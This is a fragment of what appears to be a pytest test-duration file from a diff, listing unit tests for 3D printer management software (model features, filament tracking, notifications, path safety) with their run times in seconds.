"unit/test_printer_models.py::TestHasRemoteStorageToggle::test_other_models_have_reachable_toggle[A1]": 0.0013632355257868767, + "unit/test_printer_models.py::TestHasRemoteStorageToggle::test_other_models_have_reachable_toggle[H2C]": 0.001364576630294323, + "unit/test_printer_models.py::TestHasRemoteStorageToggle::test_other_models_have_reachable_toggle[H2D Pro]": 0.0013674227520823479, + "unit/test_printer_models.py::TestHasRemoteStorageToggle::test_other_models_have_reachable_toggle[H2D]": 0.0013455701991915703, + "unit/test_printer_models.py::TestHasRemoteStorageToggle::test_other_models_have_reachable_toggle[H2S]": 0.001366882584989071, + "unit/test_printer_models.py::TestHasRemoteStorageToggle::test_other_models_have_reachable_toggle[P2S]": 0.0013750772923231125, + "unit/test_printer_models.py::TestHasRemoteStorageToggle::test_other_models_have_reachable_toggle[X1C]": 0.0013456419110298157, + "unit/test_printer_models.py::TestHasRemoteStorageToggle::test_other_models_have_reachable_toggle[X1E]": 0.0013696877285838127, + "unit/test_printer_models.py::TestHasRemoteStorageToggle::test_other_models_have_reachable_toggle[X1]": 0.001359407790005207, + "unit/test_printer_models.py::TestHasRemoteStorageToggle::test_other_models_have_reachable_toggle[X2D]": 0.0013594189658761024, + "unit/test_printer_models.py::TestHasRemoteStorageToggle::test_p1_series_has_no_reachable_toggle[P1 S]": 0.001384936273097992, + "unit/test_printer_models.py::TestHasRemoteStorageToggle::test_p1_series_has_no_reachable_toggle[P1-S]": 0.0013638362288475037, + "unit/test_printer_models.py::TestHasRemoteStorageToggle::test_p1_series_has_no_reachable_toggle[P1P]": 0.0013601509854197502, + "unit/test_printer_models.py::TestHasRemoteStorageToggle::test_p1_series_has_no_reachable_toggle[P1S]": 0.0013753995299339294, + "unit/test_printer_models.py::TestHasRemoteStorageToggle::test_p1_series_has_no_reachable_toggle[p1s]": 0.0015051914379000664, + "unit/test_printer_models.py::TestHasRemoteStorageToggle::test_unknown_and_empty_default_to_true": 0.0013234009966254234, + "unit/test_printer_models.py::TestSupportsNozzleFlowType::test_a_series_has_one_flow_variant": 0.0013407627120614052, + "unit/test_printer_models.py::TestSupportsNozzleFlowType::test_a_series_internal_codes": 0.0013227183371782303, + "unit/test_printer_models.py::TestSupportsNozzleFlowType::test_dual_nozzle_models_offer_both_flows": 0.0013335887342691422, + "unit/test_printer_models.py::TestSupportsNozzleFlowType::test_single_nozzle_models_still_offer_both_flows": 0.0017651896923780441, + "unit/test_printer_models.py::TestSupportsNozzleFlowType::test_unknown_and_empty_default_to_supported": 0.0013227490708231926, + "unit/test_printer_models.py::TestX2DModel::test_x2d_camera_port_is_rtsp": 0.0012643691152334213, + "unit/test_printer_models.py::TestX2DModel::test_x2d_has_ethernet_display_name": 0.0012559853494167328, + "unit/test_printer_models.py::TestX2DModel::test_x2d_has_ethernet_internal_code": 0.001271161250770092, + "unit/test_printer_models.py::TestX2DModel::test_x2d_is_steel_rod_display_name": 0.0012614745646715164, + "unit/test_printer_models.py::TestX2DModel::test_x2d_is_steel_rod_internal_code": 0.00125849898904562, + "unit/test_printer_models.py::TestX2DModel::test_x2d_model_id_map": 0.0012726858258247375, + "unit/test_printer_models.py::TestX2DModel::test_x2d_model_map": 0.0012625576928257942, + "unit/test_printer_models.py::TestX2DModel::test_x2d_not_in_carbon_rod_set": 0.0012739272788167, + "unit/test_printer_models.py::TestX2DModel::test_x2d_supports_rtsp_display_name": 0.0012568850070238113, + "unit/test_printer_models.py::TestX2DModel::test_x2d_supports_rtsp_internal_code": 0.0012719547376036644, + "unit/test_printer_offline_notification.py::TestMaybeNotifyPrinterOffline::test_clears_task_entry_after_run": 0.0021220985800027847, + "unit/test_printer_offline_notification.py::TestMaybeNotifyPrinterOffline::test_does_not_fire_when_printer_missing_from_db": 0.0029208948835730553, + "unit/test_printer_offline_notification.py::TestMaybeNotifyPrinterOffline::test_does_not_fire_when_printer_reconnected_during_debounce": 0.0021908972412347794, + "unit/test_printer_offline_notification.py::TestMaybeNotifyPrinterOffline::test_fires_notification_when_still_offline_after_debounce": 0.003282301127910614, + "unit/test_printer_offline_notification.py::TestOfflineEdgeDetection::test_connected_to_disconnected_schedules_task": 0.002828792668879032, + "unit/test_printer_offline_notification.py::TestOfflineEdgeDetection::test_first_call_connected_does_not_schedule": 0.002649105153977871, + "unit/test_printer_offline_notification.py::TestOfflineEdgeDetection::test_first_call_disconnected_does_not_schedule": 0.0024218885228037834, + "unit/test_printer_offline_notification.py::TestOfflineEdgeDetection::test_reconnect_cancels_pending_task": 0.0028797071427106857, + "unit/test_printer_offline_notification.py::TestOfflineEdgeDetection::test_repeated_disconnected_does_not_reschedule": 0.002746347337961197, + "unit/test_printer_offline_notification.py::TestProgressMilestoneSessionHygiene::test_milestone_captures_snapshot_outside_session_and_notifies": 0.003407517448067665, + "unit/test_printer_schema.py::test_already_normalized_serial_unchanged": 0.0013556908816099167, + "unit/test_printer_schema.py::test_blank_serial_number_rejected": 0.0013922397047281265, + "unit/test_printer_schema.py::test_serial_number_stripped_and_uppercased": 0.001344088464975357, + "unit/test_printer_schema.py::test_serial_number_uppercased": 0.0014739735051989555, + "unit/test_printer_schema.py::test_serial_number_whitespace_stripped": 0.0013737734407186508, + "unit/test_printer_sensor_history.py::test_delete_removes_old_rows": 0.20144466683268547, + "unit/test_printer_sensor_history.py::test_get_clamps_to_hours_window": 0.2019871138036251, + "unit/test_printer_sensor_history.py::test_get_filters_by_kinds_query": 0.2051545111462474, + "unit/test_printer_sensor_history.py::test_get_returns_per_sensor_series": 0.21276269108057022, + "unit/test_process_overrides.py::TestApplyProcessOverrides::test_empty_overrides_leave_the_json_untouched": 0.0013888636603951454, + "unit/test_process_overrides.py::TestApplyProcessOverrides::test_keeps_the_inherits_stub_so_the_preset_still_resolves": 0.0018416820093989372, + "unit/test_process_overrides.py::TestApplyProcessOverrides::test_non_object_process_json_degrades_to_a_plain_slice": 0.0013191811740398407, + "unit/test_process_overrides.py::TestApplyProcessOverrides::test_overrides_that_all_get_dropped_leave_the_json_untouched": 0.0014638938009738922, + "unit/test_process_overrides.py::TestApplyProcessOverrides::test_unparseable_process_json_degrades_to_a_plain_slice": 0.0014429045841097832, + "unit/test_process_overrides.py::TestApplyProcessOverrides::test_user_value_wins_over_one_already_in_the_preset": 0.001485561951994896, + "unit/test_process_overrides.py::TestApplyProcessOverrides::test_writes_the_users_values_into_the_process_json": 0.0019565168768167496, + "unit/test_process_overrides.py::TestNormaliseProcessOverrides::test_a_list_containing_a_non_scalar_drops_the_whole_key": 0.001430140808224678, + "unit/test_process_overrides.py::TestNormaliseProcessOverrides::test_bools_become_the_one_zero_strings_a_preset_stores": 0.0020043477416038513, + "unit/test_process_overrides.py::TestNormaliseProcessOverrides::test_keys_that_are_not_config_identifiers_are_dropped": 0.0015732776373624802, + "unit/test_process_overrides.py::TestNormaliseProcessOverrides::test_numbers_become_strings": 0.0014204233884811401, + "unit/test_process_overrides.py::TestNormaliseProcessOverrides::test_strings_pass_through_including_the_percent_sign": 0.0013671815395355225, + "unit/test_process_overrides.py::TestNormaliseProcessOverrides::test_values_a_preset_cannot_hold_are_dropped_not_serialised": 0.0014624511823058128, + "unit/test_process_overrides.py::TestNormaliseProcessOverrides::test_vector_options_keep_their_list_shape": 0.0013707512989640236, + "unit/test_project_settings_sentinel_sanitiser.py::TestDefensiveFallbacks::test_returns_original_on_malformed_json": 0.0013997238129377365, + "unit/test_project_settings_sentinel_sanitiser.py::TestDefensiveFallbacks::test_returns_original_when_input_is_not_a_zip": 0.0013221381232142448, + "unit/test_project_settings_sentinel_sanitiser.py::TestDefensiveFallbacks::test_returns_original_when_settings_config_absent": 0.0013743368908762932, + "unit/test_project_settings_sentinel_sanitiser.py::TestDefensiveFallbacks::test_returns_original_when_settings_root_is_not_a_dict": 0.0014103734865784645, + "unit/test_project_settings_sentinel_sanitiser.py::TestPreservesUnaffectedValues::test_does_not_strip_array_value_even_if_includes_minus_one": 0.00146478321403265, + "unit/test_project_settings_sentinel_sanitiser.py::TestPreservesUnaffectedValues::test_does_not_touch_non_allowlisted_keys_with_minus_one": 0.0014474913477897644, + "unit/test_project_settings_sentinel_sanitiser.py::TestPreservesUnaffectedValues::test_preserves_allowlisted_key_with_legitimate_non_sentinel_value": 0.0014671282842755318, + "unit/test_project_settings_sentinel_sanitiser.py::TestPreservesUnaffectedValues::test_returns_original_bytes_when_no_sentinel_present": 0.0014173369854688644, + "unit/test_project_settings_sentinel_sanitiser.py::TestRemovesSentinelValues::test_removes_each_allowlisted_key_when_value_is_minus_one[prime_tower_brim_width]": 0.001773172989487648, + "unit/test_project_settings_sentinel_sanitiser.py::TestRemovesSentinelValues::test_removes_each_allowlisted_key_when_value_is_minus_one[raft_first_layer_expansion]": 0.0016790283843874931, + "unit/test_project_settings_sentinel_sanitiser.py::TestRemovesSentinelValues::test_removes_each_allowlisted_key_when_value_is_minus_one[tree_support_wall_count]": 0.0016367081552743912, + "unit/test_project_settings_sentinel_sanitiser.py::TestRemovesSentinelValues::test_removes_multiple_sentinels_at_once": 0.0015856306999921799, + "unit/test_project_settings_sentinel_sanitiser.py::TestZipPreservation::test_other_zip_entries_pass_through_unchanged": 0.0017378972843289375, + "unit/test_pushover_priority.py::test_non_emergency_priority_omits_retry_and_expire[-1]": 0.00173223577439785, + "unit/test_pushover_priority.py::test_non_emergency_priority_omits_retry_and_expire[-2]": 0.001682165078818798, + "unit/test_pushover_priority.py::test_non_emergency_priority_omits_retry_and_expire[0]": 0.001673656515777111, + "unit/test_pushover_priority.py::test_non_emergency_priority_omits_retry_and_expire[1]": 0.0016641197726130486, + "unit/test_pushover_priority.py::test_priority_2_clamps_to_pushover_limits": 0.0016183145344257355, + "unit/test_pushover_priority.py::test_priority_2_includes_retry_and_expire": 0.0017692558467388153, + "unit/test_pushover_priority.py::test_priority_2_tolerates_string_values": 0.001608826220035553, + "unit/test_pushover_priority.py::test_priority_2_uses_defaults_when_unset": 0.001826392486691475, + "unit/test_reconcile_stale_active_prints.py::TestIsActiveArchiveStale::test_archive_with_no_subtask_id_falls_to_subtask_name_check": 0.0013340115547180176, + "unit/test_reconcile_stale_active_prints.py::TestIsActiveArchiveStale::test_both_subtask_ids_missing_running_with_empty_name_stale": 0.0015133973211050034, + "unit/test_reconcile_stale_active_prints.py::TestIsActiveArchiveStale::test_empty_subtask_name_marks_stale": 0.0013182386755943298, + "unit/test_reconcile_stale_active_prints.py::TestIsActiveArchiveStale::test_idle_state_overrides_matching_subtask": 0.0013812873512506485, + "unit/test_reconcile_stale_active_prints.py::TestIsActiveArchiveStale::test_matching_running_print_not_stale": 0.001305166631937027, + "unit/test_reconcile_stale_active_prints.py::TestIsActiveArchiveStale::test_paused_print_with_matching_subtask_not_stale": 0.001331765204668045, + "unit/test_reconcile_stale_active_prints.py::TestIsActiveArchiveStale::test_pre_push_state_returns_not_stale_even_with_empty_subtask[None]": 0.0013758083805441856, + "unit/test_reconcile_stale_active_prints.py::TestIsActiveArchiveStale::test_pre_push_state_returns_not_stale_even_with_empty_subtask[UNKNOWN]": 0.0014670602977275848, + "unit/test_reconcile_stale_active_prints.py::TestIsActiveArchiveStale::test_pre_push_state_returns_not_stale_even_with_empty_subtask[Unknown]": 0.0014641229063272476, + "unit/test_reconcile_stale_active_prints.py::TestIsActiveArchiveStale::test_pre_push_state_returns_not_stale_even_with_empty_subtask[]": 0.0014099227264523506, + "unit/test_reconcile_stale_active_prints.py::TestIsActiveArchiveStale::test_pre_push_state_returns_not_stale_even_with_empty_subtask[unknown]": 0.0014648465439677238, + "unit/test_reconcile_stale_active_prints.py::TestIsActiveArchiveStale::test_pre_running_states_with_matching_subtask_not_stale[PREPARE]": 0.001344822347164154, + "unit/test_reconcile_stale_active_prints.py::TestIsActiveArchiveStale::test_pre_running_states_with_matching_subtask_not_stale[SLICING]": 0.00135011225938797, + "unit/test_reconcile_stale_active_prints.py::TestIsActiveArchiveStale::test_subtask_id_changed_marks_stale": 0.0013199727982282639, + "unit/test_reconcile_stale_active_prints.py::TestIsActiveArchiveStale::test_terminal_state_marks_stale[FAILED]": 0.0013724630698561668, + "unit/test_reconcile_stale_active_prints.py::TestIsActiveArchiveStale::test_terminal_state_marks_stale[FINISH]": 0.0013737063854932785, + "unit/test_reconcile_stale_active_prints.py::TestIsActiveArchiveStale::test_terminal_state_marks_stale[IDLE]": 0.0013682739809155464, + "unit/test_reconcile_stale_active_prints.py::TestIsActiveArchiveStale::test_terminal_state_marks_stale[failed]": 0.0013550296425819397, + "unit/test_reconcile_stale_active_prints.py::TestIsActiveArchiveStale::test_terminal_state_marks_stale[finish]": 0.0013500992208719254, + "unit/test_reconcile_stale_active_prints.py::TestIsActiveArchiveStale::test_terminal_state_marks_stale[idle]": 0.0013643661513924599, + "unit/test_reconcile_stale_active_prints.py::TestReconcileStaleActivePrints::test_disconnected_status_skips_reconciliation": 0.001889142207801342, + "unit/test_reconcile_stale_active_prints.py::TestReconcileStaleActivePrints::test_no_active_archives_returns_zero": 0.002639557234942913, + "unit/test_reconcile_stale_active_prints.py::TestReconcileStaleActivePrints::test_no_status_skips_reconciliation": 0.002367425709962845, + "unit/test_reconcile_stale_active_prints.py::TestReconcileStaleActivePrints::test_non_stale_archive_does_not_synthesise": 0.002610652707517147, + "unit/test_reconcile_stale_active_prints.py::TestReconcileStaleActivePrints::test_on_print_complete_failure_does_not_block_rest": 0.0031746411696076393, + "unit/test_reconcile_stale_active_prints.py::TestReconcileStaleActivePrints::test_stale_archive_synthesises_aborted_completion": 0.003025609068572521, + "unit/test_remain_delta_silence_1820.py::TestItStillWritesWhenItCan::test_a_real_drop_is_charged": 0.0019148597493767738, + "unit/test_remain_delta_silence_1820.py::TestItStillWritesWhenItCan::test_a_spool_swap_is_still_refused": 0.001894230954349041, + "unit/test_remain_delta_silence_1820.py::TestNothingCharged::test_a_reading_that_rose_is_reported": 0.0020987549796700478, + "unit/test_remain_delta_silence_1820.py::TestNothingCharged::test_a_slot_missing_at_completion_is_reported": 0.001980053260922432, + "unit/test_remain_delta_silence_1820.py::TestNothingCharged::test_a_spool_still_reading_full_is_reported": 0.00220574252307415, + "unit/test_remain_delta_silence_1820.py::TestNothingCharged::test_an_unassigned_slot_names_what_was_lost": 0.0019260477274656296, + "unit/test_remain_delta_silence_1820.py::TestSlotsThePrintNeverTouched::test_an_untouched_slot_is_not_charged": 0.002016758546233177, + "unit/test_remain_delta_silence_1820.py::TestSlotsThePrintNeverTouched::test_the_slot_the_print_used_is_still_charged": 0.0019209394231438637, + "unit/test_remain_delta_silence_1820.py::TestSlotsThePrintNeverTouched::test_without_evidence_every_slot_is_still_considered": 0.0018781209364533424, + "unit/test_remain_delta_silence_1820.py::TestTheSnapshotGate::test_a_negative_remain_is_reported_as_skipped": 0.0015057725831866264, + "unit/test_remain_delta_silence_1820.py::TestTheSnapshotGate::test_a_valid_remain_is_not_reported": 0.0014524413272738457, + "unit/test_remain_delta_silence_1820.py::TestTheSnapshotGate::test_the_collector_is_optional": 0.0015855012461543083, + "unit/test_remain_delta_silence_1820.py::TestTheSnapshotGate::test_the_external_spool_holder_is_reported_too": 0.0015385933220386505, + "unit/test_remain_delta_silence_1820.py::TestWhichSlotsThePrintUsed::test_a_mid_print_tray_change_counts": 0.0014219535514712334, + "unit/test_remain_delta_silence_1820.py::TestWhichSlotsThePrintUsed::test_a_row_written_before_the_column_existed": 0.001400945708155632, + "unit/test_remain_delta_silence_1820.py::TestWhichSlotsThePrintUsed::test_a_slicer_slot_routed_to_the_external_spool_is_ignored": 0.0014524618163704872, + "unit/test_remain_delta_silence_1820.py::TestWhichSlotsThePrintUsed::test_an_ams_ht_keeps_its_own_id": 0.0014406191185116768, + "unit/test_remain_delta_silence_1820.py::TestWhichSlotsThePrintUsed::test_an_unloaded_printer_is_not_read_as_a_slot": 0.0014131395146250725, + "unit/test_remain_delta_silence_1820.py::TestWhichSlotsThePrintUsed::test_no_evidence_at_all_yields_nothing": 0.001386798918247223, + "unit/test_remain_delta_silence_1820.py::TestWhichSlotsThePrintUsed::test_the_external_spool_in_use_is_a_slot": 0.0013975286856293678, + "unit/test_remain_delta_silence_1820.py::TestWhichSlotsThePrintUsed::test_the_mapping_names_the_slots": 0.0014840615913271904, + "unit/test_remain_delta_silence_1820.py::TestWhichSlotsThePrintUsed::test_the_tray_in_use_at_the_start_counts": 0.0014181872829794884, + "unit/test_report_topic_project_file_1820.py::TestAScreenStartedPrintNamesItsFile::test_a_mapping_from_the_request_topic_wins": 0.0015094392001628876, + "unit/test_report_topic_project_file_1820.py::TestAScreenStartedPrintNamesItsFile::test_the_mapping_is_captured_when_no_slicer_sent_one": 0.0015201075002551079, + "unit/test_report_topic_project_file_1820.py::TestAScreenStartedPrintNamesItsFile::test_the_sticky_copy_is_captured_too": 0.0015555555000901222, + "unit/test_report_topic_project_file_1820.py::TestAScreenStartedPrintNamesItsFile::test_the_url_is_captured": 0.0015872260555624962, + "unit/test_report_topic_project_file_1820.py::TestAScreenStartedPrintNamesItsFile::test_the_verdict_now_skips_the_sweep": 0.0015509678050875664, + "unit/test_report_topic_project_file_1820.py::TestTheSlicerPathIsUnchanged::test_an_external_dispatch_still_sweeps": 0.001946297474205494, + "unit/test_report_topic_project_file_1820.py::TestWhatMustNotBeCaptured::test_a_missing_or_non_string_url_is_ignored[12345]": 0.0015647755935788155, + "unit/test_report_topic_project_file_1820.py::TestWhatMustNotBeCaptured::test_a_missing_or_non_string_url_is_ignored[None]": 0.001507534645497799, + "unit/test_report_topic_project_file_1820.py::TestWhatMustNotBeCaptured::test_a_missing_or_non_string_url_is_ignored[]": 0.0014948602765798569, + "unit/test_report_topic_project_file_1820.py::TestWhatMustNotBeCaptured::test_a_missing_or_non_string_url_is_ignored[url3]": 0.0014926977455615997, + "unit/test_report_topic_project_file_1820.py::TestWhatMustNotBeCaptured::test_a_missing_or_non_string_url_is_ignored[url4]": 0.001480204053223133, + "unit/test_report_topic_project_file_1820.py::TestWhatMustNotBeCaptured::test_a_refused_dispatch_is_ignored": 0.0014418819919228554, + "unit/test_report_topic_project_file_1820.py::TestWhatMustNotBeCaptured::test_another_command_on_the_same_topic_is_ignored": 0.0014317939057946205, + "unit/test_report_topic_project_file_1820.py::TestWhatMustNotBeCaptured::test_our_own_dispatch_is_not_logged_as_someone_elses": 0.0015048105269670486, + "unit/test_reprint_clears_stale_timelapse.py::test_reprint_clears_timelapse_path_and_unlinks_stale_file": 0.0702712582424283, + "unit/test_reprint_clears_stale_timelapse.py::test_reprint_with_missing_stale_file_does_not_raise": 0.07503531873226166, + "unit/test_reprint_clears_stale_timelapse.py::test_reprint_with_no_timelapse_path_is_noop": 0.07704839203506708, + "unit/test_reprint_updates_subtask_id.py::test_first_run_still_sets_subtask_id": 0.07062458246946335, + "unit/test_reprint_updates_subtask_id.py::test_reprint_updates_stale_subtask_id": 0.07176910527050495, + "unit/test_reprint_updates_subtask_id.py::test_stable_push_does_not_rewrite": 0.0725633054971695, + "unit/test_request_topic_probe_2953.py::test_a_disconnect_we_asked_for_is_not_evidence": 0.0014691147953271866, + "unit/test_request_topic_probe_2953.py::test_a_new_client_for_a_disabled_printer_does_not_re_probe": 0.0018324526026844978, + "unit/test_request_topic_probe_2953.py::test_a_second_drop_disables_it": 0.001965162344276905, + "unit/test_request_topic_probe_2953.py::test_a_suback_rejection_still_disables_immediately": 0.001467050053179264, + "unit/test_request_topic_probe_2953.py::test_a_successful_suback_clears_the_count": 0.0015404466539621353, + "unit/test_request_topic_probe_2953.py::test_one_drop_keeps_the_request_topic_enabled": 0.0022197300568223, + "unit/test_resolve_expected_tray_2587.py::TestAmsHt::test_ht_alongside_regular": 0.0013904757797718048, + "unit/test_resolve_expected_tray_2587.py::TestAmsHt::test_ht_global_id_passthrough": 0.0013927305117249489, + "unit/test_resolve_expected_tray_2587.py::TestGlobalAndOutOfRange::test_already_global_regular_id_passthrough": 0.0013703592121601105, + "unit/test_resolve_expected_tray_2587.py::TestGlobalAndOutOfRange::test_out_of_range_returns_none": 0.0013617202639579773, + "unit/test_resolve_expected_tray_2587.py::TestGlobalAndOutOfRange::test_zero_slot_no_regular_ams_returns_none": 0.0013570133596658707, + "unit/test_resolve_expected_tray_2587.py::TestMultiRegularAms::test_ambiguous_when_two_units_match_returns_none": 0.0013679927214980125, + "unit/test_resolve_expected_tray_2587.py::TestMultiRegularAms::test_ht_in_multi_layout_via_mapping": 0.0013932716101408005, + "unit/test_resolve_expected_tray_2587.py::TestMultiRegularAms::test_no_mapping_returns_none": 0.001374024897813797, + "unit/test_resolve_expected_tray_2587.py::TestMultiRegularAms::test_resolves_slot_on_ams0": 0.0013464028015732765, + "unit/test_resolve_expected_tray_2587.py::TestMultiRegularAms::test_resolves_unambiguous_slot_via_mapping": 0.001372392289340496, + "unit/test_resolve_expected_tray_2587.py::TestMultiRegularAms::test_unmapped_sentinel_ignored": 0.001366741955280304, + "unit/test_resolve_expected_tray_2587.py::TestSentinels::test_254_external_passes_through": 0.0013736654072999954, + "unit/test_resolve_expected_tray_2587.py::TestSentinels::test_255_is_none": 0.001370287500321865, + "unit/test_resolve_expected_tray_2587.py::TestSentinels::test_minus_one_is_none": 0.001643260009586811, + "unit/test_resolve_expected_tray_2587.py::TestSentinels::test_none_input": 0.001394614577293396, + "unit/test_resolve_expected_tray_2587.py::TestSingleRegularAms::test_all_four_slots_pass_through": 0.001390025019645691, + "unit/test_resolve_expected_tray_2587.py::TestSingleRegularAms::test_reporter_scenario_tray_pre_1_is_slot_2": 0.0013873996213078499, + "unit/test_resolve_expected_tray_2587.py::TestSingleRegularAms::test_reporter_scenario_tray_tar_2_is_slot_3": 0.0015504853799939156, + "unit/test_resolve_expected_tray_2587.py::TestSingleRegularAms::test_single_ams_with_nonzero_id": 0.0013765618205070496, + "unit/test_restore_sqlite_wal_safety.py::test_shutil_copy_loses_to_stale_wal": 0.0026017846539616585, + "unit/test_restore_sqlite_wal_safety.py::test_sqlite_backup_api_handles_various_db_sizes[1000]": 0.03294699266552925, + "unit/test_restore_sqlite_wal_safety.py::test_sqlite_backup_api_handles_various_db_sizes[100]": 0.005718116648495197, + "unit/test_restore_sqlite_wal_safety.py::test_sqlite_backup_api_handles_various_db_sizes[1]": 0.002668171189725399, + "unit/test_restore_sqlite_wal_safety.py::test_sqlite_backup_api_replaces_live_db_safely": 0.0025808364152908325, + "unit/test_restore_sqlite_wal_safety.py::test_sqlite_backup_api_works_when_no_wal_frames": 0.0024753697216510773, + "unit/test_rfid_assign_picks_the_right_hotend.py::TestFallbacks::test_a_profile_for_a_different_nozzle_size_is_not_used": 0.19086899515241385, + "unit/test_rfid_assign_picks_the_right_hotend.py::TestFallbacks::test_a_profile_for_the_other_hotend_is_better_than_none": 0.18942542001605034, + "unit/test_rfid_assign_picks_the_right_hotend.py::TestFlowType::test_a_printer_that_declares_no_flow_applies_everything": 0.8309728326275945, + "unit/test_rfid_assign_picks_the_right_hotend.py::TestFlowType::test_a_profile_with_no_stored_flow_still_applies": 0.18911681044846773, + "unit/test_rfid_assign_picks_the_right_hotend.py::TestFlowType::test_the_fitted_flow_decides_which_profile_applies": 0.19502608757466078, + "unit/test_rfid_assign_picks_the_right_hotend.py::TestTheFilamentIdSentWithTheSelection::test_a_cloud_user_preset_override_is_not_sent_to_the_printer": 0.18816287256777287, + "unit/test_rfid_assign_picks_the_right_hotend.py::TestTheFilamentIdSentWithTheSelection::test_a_normal_override_is_sent": 0.18947988096624613, + "unit/test_rfid_assign_picks_the_right_hotend.py::TestWhichHotendsProfileIsSelected::test_a_slot_on_the_left_gets_the_left_profile": 0.19409209676086903, + "unit/test_rfid_assign_picks_the_right_hotend.py::TestWhichHotendsProfileIsSelected::test_a_slot_on_the_right_gets_the_right_profile": 0.1904321974143386, + "unit/test_rfid_assign_picks_the_right_hotend.py::TestWhichHotendsProfileIsSelected::test_the_slots_own_nozzle_size_decides_the_diameter": 0.19302715081721544, + "unit/test_rfid_core_weight_repair_2909.py::test_adds_back_the_filament_a_wrong_tare_took_off_a_weighed_spool": 0.0722854332998395, + "unit/test_rfid_core_weight_repair_2909.py::test_corrects_the_tare_of_a_wrongly_added_spool": 0.07851287629455328, + "unit/test_rfid_core_weight_repair_2909.py::test_leaves_a_tare_that_is_not_a_bambu_row_alone": 0.07370493467897177, + "unit/test_rfid_core_weight_repair_2909.py::test_leaves_spools_the_user_added_alone": 0.0715802414342761, + "unit/test_rfid_core_weight_repair_2909.py::test_leaves_the_used_weight_of_a_never_weighed_spool_alone": 0.07616785261780024, + "unit/test_rfid_core_weight_repair_2909.py::test_marks_itself_done_on_an_install_with_nothing_to_repair": 0.0704316794872284, + "unit/test_rfid_core_weight_repair_2909.py::test_reads_the_right_weight_from_an_edited_catalogue": 0.0789010040462017, + "unit/test_rfid_core_weight_repair_2909.py::test_runs_exactly_once": 0.07489919196814299, + "unit/test_rfid_core_weight_repair_2909.py::test_survives_a_catalogue_with_no_bambu_rows": 0.08361190371215343, + "unit/test_route_auth_coverage.py::test_public_routes_allowlist_matches_real_routes": 0.002313896082341671, + "unit/test_route_auth_coverage.py::test_routes_have_explicit_auth_deps": 0.005621827207505703, + "unit/test_run_filament_helper.py::TestComputeRunFilamentGrams::test_cancelled_uses_tracked_spool_delta": 0.0015522502362728119, + "unit/test_run_filament_helper.py::TestComputeRunFilamentGrams::test_completed_no_tracker_returns_archive_estimate": 0.0015635620802640915, + "unit/test_run_filament_helper.py::TestComputeRunFilamentGrams::test_completed_prefers_tracked_over_estimate": 0.0014722682535648346, + "unit/test_run_filament_helper.py::TestComputeRunFilamentGrams::test_completed_with_none_estimate_returns_none": 0.0014150897040963173, + "unit/test_run_filament_helper.py::TestComputeRunFilamentGrams::test_failed_uses_tracked_spool_delta": 0.0014715269207954407, + "unit/test_run_filament_helper.py::TestComputeRunFilamentGrams::test_failed_with_no_estimate_but_tracked_uses_tracked": 0.001722707413136959, + "unit/test_run_filament_helper.py::TestComputeRunFilamentGrams::test_failed_with_no_estimate_returns_none": 0.0016658520326018333, + "unit/test_run_filament_helper.py::TestComputeRunFilamentGrams::test_failed_with_no_tracked_and_no_progress_returns_none": 0.0017337007448077202, + "unit/test_run_filament_helper.py::TestComputeRunFilamentGrams::test_failed_with_no_tracked_falls_back_to_progress_scale": 0.0015033967792987823, + "unit/test_run_filament_helper.py::TestComputeRunFilamentGrams::test_failed_with_partial_progress_rounds_correctly": 0.001735243946313858, + "unit/test_run_filament_helper.py::TestComputeRunFilamentGrams::test_multiple_tracked_slots_summed": 0.0014212336391210556, + "unit/test_run_filament_helper.py::TestComputeRunFilamentGrams::test_progress_above_100_clamps_to_full_estimate": 0.0014697164297103882, + "unit/test_run_filament_helper.py::TestComputeRunFilamentGrams::test_stopped_uses_tracked_spool_delta": 0.001432926394045353, + "unit/test_run_filament_helper.py::TestComputeRunFilamentGrams::test_tracked_overrides_progress_scale_when_both_available": 0.002219889312982559, + "unit/test_run_filament_helper.py::TestPlateScopedRunEstimate::test_extractor_error_falls_back": 0.0015701642259955406, + "unit/test_run_filament_helper.py::TestPlateScopedRunEstimate::test_missing_file_returns_whole_file_values": 0.001576373353600502, + "unit/test_run_filament_helper.py::TestPlateScopedRunEstimate::test_no_archive_cost_keeps_cost_none": 0.0015266314148902893, + "unit/test_run_filament_helper.py::TestPlateScopedRunEstimate::test_no_plate_id_returns_whole_file_values": 0.0018047327175736427, + "unit/test_run_filament_helper.py::TestPlateScopedRunEstimate::test_scopes_grams_and_scales_cost_to_plate": 0.0019334424287080765, + "unit/test_run_filament_helper.py::TestPlateScopedRunEstimate::test_zero_plate_estimate_falls_back": 0.0015708748251199722, + "unit/test_run_filament_plate_scope_2614.py::test_idempotent_second_run_is_a_noop": 0.07996031828224659, + "unit/test_run_filament_plate_scope_2614.py::test_leaves_tracker_measured_and_partial_rows_alone": 0.07823391444981098, + "unit/test_run_filament_plate_scope_2614.py::test_one_shot_gate_prevents_rescan_on_later_boots": 0.07490009535104036, + "unit/test_run_filament_plate_scope_2614.py::test_rescopes_miscopied_row_and_scales_cost": 0.07944233901798725, + "unit/test_run_filament_plate_scope_2614.py::test_single_plate_archive_not_relabelled": 0.07881317939609289, + "unit/test_run_filament_plate_scope_2614.py::test_skips_row_when_3mf_missing": 0.08196996618062258, + "unit/test_run_with_retry.py::test_backoff_increases": 0.0026455484330654144, + "unit/test_run_with_retry.py::test_non_lock_error_not_retried": 0.0026702843606472015, + "unit/test_run_with_retry.py::test_postgres_error_not_retried": 0.0023011043667793274, + "unit/test_run_with_retry.py::test_postgres_no_retry": 0.0026153502985835075, + "unit/test_run_with_retry.py::test_raises_after_max_attempts": 0.0027641719207167625, + "unit/test_run_with_retry.py::test_retries_on_sqlite_locked": 0.002810528501868248, + "unit/test_run_with_retry.py::test_succeeds_on_first_attempt": 0.003341022878885269, + "unit/test_runtime_tracking_pause.py::test_idle_state_clears_last_update_without_accumulating": 0.06033683940768242, + "unit/test_runtime_tracking_pause.py::test_pause_state_does_not_accumulate_runtime": 0.06058714911341667, + "unit/test_runtime_tracking_pause.py::test_running_state_still_accumulates_runtime": 0.07440350577235222, + "unit/test_safe_path.py::TestAssertUnder::test_inside_passes": 0.0016266806051135063, + "unit/test_safe_path.py::TestAssertUnder::test_outside_raises_path_traversal_error_with_http_false": 0.0016061486676335335, + "unit/test_safe_path.py::TestAssertUnder::test_outside_rejects": 0.0016255676746368408, + "unit/test_safe_path.py::TestPocReproducer::test_advisory_poc_target_dir_rejected": 0.0016123615205287933, + "unit/test_safe_path.py::TestSafeJoinUnder::test_absolute_path_rejected": 0.0016047386452555656, + "unit/test_safe_path.py::TestSafeJoinUnder::test_absolute_windows_path_rejected": 0.0015324419364333153, + 